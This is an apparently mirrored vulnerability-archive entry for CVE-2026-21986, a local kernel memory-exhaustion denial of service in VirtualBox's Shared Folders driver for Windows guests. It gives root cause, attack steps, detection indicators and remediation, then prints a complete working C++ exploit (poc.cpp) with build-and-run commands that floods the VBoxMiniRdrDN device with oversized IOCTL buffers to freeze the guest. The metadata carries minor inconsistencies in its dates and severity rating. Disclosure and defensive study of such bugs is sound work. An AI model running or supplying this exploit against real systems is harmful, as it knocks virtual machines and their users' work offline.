PoC Archive PoC Archive
Medium CVE-2026-21986 patched

Oracle VirtualBox Shared Folders Kernel Memory Exhaustion DoS (CVE-2026-21986)

by Mohammed Ba Rashed (GitHub: MohaBars) · 2026-07-05

CVSS 7.1/10
Severity
Medium
CVE
CVE-2026-21986
Category
binary
Affected product
Oracle VM VirtualBox — Shared Folders kernel driver (VBoxMiniRdr, Windows guest)
Affected versions
VirtualBox versions prior to Oracle's patch for CVE-2026-21986 (exact version not specified in source)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-04
Author / ResearcherMohammed Ba Rashed (GitHub: MohaBars)
CVE / AdvisoryCVE-2026-21986
Categorybinary
SeverityMedium
CVSS Score7.1 (per source README)
StatusPoC
Tagsvirtualbox, denial-of-service, kernel-memory-exhaustion, ioctl, shared-folders, windows-driver, non-paged-pool
RelatedN/A

Affected Target

FieldValue
Software / SystemOracle VM VirtualBox — Shared Folders kernel driver (VBoxMiniRdr, Windows guest)
Versions AffectedVirtualBox versions prior to Oracle’s patch for CVE-2026-21986 (exact version not specified in source)
Language / PlatformC++ (Windows, DeviceIoControl)
Authentication RequiredLocal-only (requires code execution inside the guest VM)
Network Access RequiredNo

Summary

CVE-2026-21986 is a denial-of-service vulnerability in the VirtualBox Shared Folders driver interface exposed to Windows guests as the device \\.\VBoxMiniRdrDN. The driver’s IOCTL_MRX_VBOX_ADDCONN handler accepts user-controlled connection-string buffers and allocates kernel non-paged pool memory proportional to each buffer’s size, without adequately bounding or releasing accumulated allocations across repeated calls. The included PoC (poc.cpp) opens the device and repeatedly issues DeviceIoControl calls with large connection-string buffers (tens of megabytes each) across all drive letters and multiple rounds, causing kernel non-paged pool exhaustion. The result is virtual machine freeze/instability rather than code execution or privilege escalation. Oracle has patched the issue and credited the author with discovery.


Vulnerability Details

Root Cause

The IOCTL_MRX_VBOX_ADDCONN handler in the VirtualBox Shared Folders kernel driver allocates non-paged kernel memory sized to attacker-controlled input buffers on every call, and repeated valid calls accumulate allocations faster than they are released, exhausting the non-paged pool.

Attack Vector

  1. From inside a Windows guest VM with VirtualBox Guest Additions/Shared Folders enabled, open a handle to \\.\VBoxMiniRdrDN.
  2. Build a connection-string buffer (\Device\VBoxMiniRdr\;X:\vboxsvr\sf) padded to tens of megabytes.
  3. Call DeviceIoControl with IOCTL_MRX_VBOX_ADDCONN, iterating across every drive letter.
  4. Repeat across many rounds so that per-call kernel allocations accumulate faster than the driver frees them.
  5. Non-paged kernel pool becomes exhausted, freezing or destabilizing the guest VM.

Impact

Local denial of service against the guest VM (freeze/instability) via kernel non-paged memory exhaustion; no memory corruption, code execution, or privilege escalation observed.


Environment / Lab Setup

Target:   Windows guest VM running under vulnerable Oracle VirtualBox with Shared Folders enabled
Attacker: Windows guest with a C++ toolchain (MSVC/MinGW) to build and run poc.cpp

Proof of Concept

PoC Script

See poc.cpp in this folder. Additional analysis in technical_writeup.md and memory_analysis.md.

1
2
cl poc.cpp /Fe:poc.exe
poc.exe

Opens \\.\VBoxMiniRdrDN and repeatedly sends IOCTL_MRX_VBOX_ADDCONN requests with ~32MB connection-string buffers across all drive letters for 100 rounds, driving kernel non-paged pool consumption until the guest VM becomes unstable or freezes.


Detection & Indicators of Compromise

Signs of compromise:

  • Sudden guest VM freeze or severe slowdown with no corresponding legitimate shared-folder activity
  • A process repeatedly calling DeviceIoControl against \\.\VBoxMiniRdrDN with abnormally large buffers
  • Non-paged pool usage climbing steadily under Process Explorer / poolmon without correlated workload

Remediation

ActionDetail
Primary fixUpgrade to the Oracle VirtualBox release that patches CVE-2026-21986 (see vendor advisory)
Interim mitigationDisable Shared Folders on guest VMs that don’t require it, or restrict which users/processes inside the guest can interact with the VBoxMiniRdr device

References


Notes

Mirrored from https://github.com/MohaBars/CVE-2026-21986-VirtualBox-DoS on 2026-07-05.

poc.cpp
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#include <windows.h>
#include <stdio.h>

#define IOCTL_MRX_VBOX_ADDCONN \
    CTL_CODE(FILE_DEVICE_NETWORK_FILE_SYSTEM, 100, METHOD_BUFFERED, FILE_ANY_ACCESS)

int wmain(void)
{
    HANDLE h = CreateFileW(L"\\\\.\\VBoxMiniRdrDN",
                           GENERIC_READ | GENERIC_WRITE,
                           FILE_SHARE_READ | FILE_SHARE_WRITE,
                           NULL,
                           OPEN_EXISTING,
                           0,
                           NULL);

    if (h == INVALID_HANDLE_VALUE) {
        wprintf(L"Open failed: %lu\n", GetLastError());
        return 1;
    }

    wprintf(L"Opened device successfully.\n");

    // Template: we’ll patch the drive letter at the 'X'.
    wchar_t connTemplate[] = L"\\Device\\VBoxMiniRdr\\;X:\\vboxsvr\\sf";
    const size_t letterOffset = wcslen(L"\\Device\\VBoxMiniRdr\\;"); // index of 'X'

    // Extra size: 512 * 0x10000 ≈ 32 MB on top of the base path length.
    const DWORD extra = 512 * 0x10000;

    DWORD bytesReturned;

    // Outer loop: try all letters to really stress things.
    for (int round = 0; round < 100; ++round) {
        wprintf(L"Round %d starting...\n", round);

        for (wchar_t letter = L'Z'; letter >= L'A'; --letter) {
            connTemplate[letterOffset] = letter;

            const wchar_t *conn = connTemplate;
            DWORD baseSize = (DWORD)(wcslen(conn) * sizeof(wchar_t));
            DWORD size     = baseSize + extra;

            BYTE *buf = (BYTE*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size);
            if (!buf) {
                wprintf(L"[!] HeapAlloc failed\n");
                CloseHandle(h);
                return 1;
            }

            memcpy(buf, conn, baseSize);

            BOOL ok = DeviceIoControl(h,
                                      IOCTL_MRX_VBOX_ADDCONN,
                                      buf, size,
                                      buf, size,
                                      &bytesReturned,
                                      NULL);

            if (!ok) {
                DWORD err = GetLastError();
                wprintf(L"DeviceIoControl failed for %c: %lu\n",
                        letter, err);
                break; // no point spamming if this letter stopped working
            } else {
                wprintf(L"%c round=%d size=%lu OK\n",
                        letter, round, size);
            }
      

            HeapFree(GetProcessHeap(), 0, buf);

            if (letter == L'A')
                break; // prevent wraparound if wchar_t is unsigned
        }
    }

    wprintf(L"Done (if the VM is still alive).\n");
    CloseHandle(h);
    return 0;
}